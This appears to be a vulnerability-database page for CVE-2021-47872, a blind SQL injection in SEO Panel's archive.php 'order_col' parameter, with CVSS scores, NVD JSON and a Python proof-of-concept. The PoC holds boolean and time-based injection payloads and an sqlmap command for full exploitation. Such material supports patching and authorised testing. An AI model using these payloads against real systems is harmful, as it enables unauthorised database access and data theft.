Security Vulnerability Report
中文
CVE-2021-47872 CVSS 7.1 HIGH

CVE-2021-47872

Published: 2026-01-21 18:16:20
Last Modified: 2026-04-15 00:35:42

Description

SEO Panel versions prior to 4.9.0 contain a blind SQL injection vulnerability in the archive.php page that allows authenticated attackers to manipulate database queries through the 'order_col' parameter. Attackers can use sqlmap to exploit the vulnerability and extract database information by injecting malicious SQL code into the order column parameter.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SEO Panel < 4.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2021-47872 SEO Panel Blind SQL Injection PoC # Target: SEO Panel < 4.9.0 # Location: archive.php order_col parameter import requests import time target_url = "http://target-site.com/seopanel/archive.php" login_url = "http://target-site.com/seopanel/login.php" # Login credentials credentials = { "email": "[email protected]", "password": "password123" } # Start session and login session = requests.Session() # session.post(login_url, data=credentials) # SQL Injection payload examples: # Boolean-based blind SQL injection payload_boolean_true = "order_col=id AND 1=1" payload_boolean_false = "order_col=id AND 1=2" # Time-based blind SQL injection payload_time = "order_col=id; SELECT SLEEP(5)" # Extract database version using boolean injection def test_blind_sql_injection(): print("Testing CVE-2021-47872 Blind SQL Injection...") # Test with true condition response1 = session.get(target_url, params=payload_boolean_true) # Test with false condition response2 = session.get(target_url, params=payload_boolean_false) if response1.text != response2.text: print("[+] Vulnerability confirmed! Different responses observed.") print("[*] Use sqlmap for full exploitation:") print(f"sqlmap -u '{target_url}?order_col=id' -p order_col --batch") else: print("[-] Vulnerability not confirmed or target not vulnerable") if __name__ == "__main__": test_blind_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47872", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:20.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SEO Panel versions prior to 4.9.0 contain a blind SQL injection vulnerability in the archive.php page that allows authenticated attackers to manipulate database queries through the 'order_col' parameter. Attackers can use sqlmap to exploit the vulnerability and extract database information by injecting malicious SQL code into the order column parameter."}, {"lang": "es", "value": "Las versiones de SEO Panel anteriores a la 4.9.0 contienen una vulnerabilidad de inyección SQL ciega en la página archive.php que permite a atacantes autenticados manipular consultas de base de datos a través del parámetro 'order_col'. Los atacantes pueden usar sqlmap para explotar la vulnerabilidad y extraer información de la base de datos inyectando código SQL malicioso en el parámetro de la columna de orden."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/seopanel/Seo-Panel/issues/209", "source": "[email protected]"}, {"url": "https://github.com/seopanel/Seo-Panel/releases/tag/4.9.0", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49666", "source": "[email protected]"}, {"url": "https://www.seopanel.org/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/seo-panel-ordercol-blind-sql-injection", "source": "[email protected]"}]}}